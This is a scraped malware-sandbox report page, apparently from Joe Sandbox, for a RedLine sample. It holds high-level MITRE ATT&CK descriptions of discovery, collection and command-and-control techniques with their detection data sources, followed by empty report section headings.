Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 84Xhvb840M.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage